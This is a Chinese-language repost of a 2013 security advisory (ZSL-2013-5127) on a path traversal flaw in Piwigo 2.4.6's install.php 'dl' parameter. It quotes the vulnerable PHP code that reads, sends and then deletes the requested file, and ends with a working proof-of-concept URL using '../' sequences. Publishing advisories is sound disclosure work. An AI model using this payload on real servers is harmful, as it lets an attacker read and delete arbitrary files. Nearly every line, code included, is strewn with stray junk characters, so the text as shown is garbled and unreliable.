Piwigo是用PHP编写的相册脚本。
* f5 H7 |2 T; ^" ]7 F/ a/ M4 ~, J! ^- k4 c7 x* r
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
! S9 ?' ^/ q7 P* h d- @====================================================================
8 Z' Y1 Q1 f& f+ Q, m/install.php:- o6 K3 y' _. n; F$ o5 {6 R
-------------
1 C2 x0 r% W' y& [9 g5 [ K113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))! i3 l* q3 G5 W0 L. ~/ p
114: {
, D# }0 e1 j) ]+ N; P. i0 c" d; W115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
, R9 d( M4 U1 t6 H7 z& g116: header('Cache-Control: no-cache, must-revalidate');
# o) ?) p% k, m" o, e3 n$ b, [$ @117: header('Pragma: no-cache');
$ _+ }9 ?/ F" e0 s7 n& L2 g1 C' E! G118: header('Content-Disposition: attachment; filename="database.inc.php"');
$ l+ \0 A# N u# e& t( C( }: ~119: header('Content-Transfer-Encoding: binary');
& s* t4 k6 M- h3 f- a) @' z120: header('Content-Length: '.filesize($filename));( T1 H/ F4 G% Z$ c
121: echo file_get_contents($filename);! K1 @( C8 ~/ @$ x8 _
122: unlink($filename);% l3 m$ }+ w% ~! b! n3 i
123: exit();2 K9 s7 p [ A: [. F. H5 n
124: }' Q y, a# I) @6 q# M5 }
====================================================================! \. a* N. M, h' ^* j0 _( a
T$ D, O0 v' E/ u% ] J$ s$ MTested on: Microsoft Windows 7 Ultimate SP1 (EN)
/ ^0 w* X* u8 o Apache 2.4.2 (Win32)" n, m1 ^2 i$ F6 u4 l4 @
PHP 5.4.4: c x7 ?5 e3 k: N
MySQL 5.5.25a- p/ }- _5 s5 p& m; O
8 ^& |! ?9 N$ n5 U$ Q$ ?0 [Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
- O2 C$ ?9 D. P3 e6 ? @zeroscience
+ m" O% g1 {, n- e2 B
0 C& e/ ^# h5 W* @6 S# gAdvisory ID: ZSL-2013-5127$ K7 R6 O, [1 h6 u; W
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php/ w5 f$ P! |4 h+ T
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843+ s+ p6 b9 Y t3 d% W6 `
; U/ O( L/ p, |* c
15.02.2013
3 o2 Q- \( R& ]
7 X) S+ ^" a5 Y+ {, ]! \2 V--7 o( t4 c8 S7 b2 h3 t
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt' K8 m) G, L4 K
. d1 y Y7 f+ C' N L0 R
|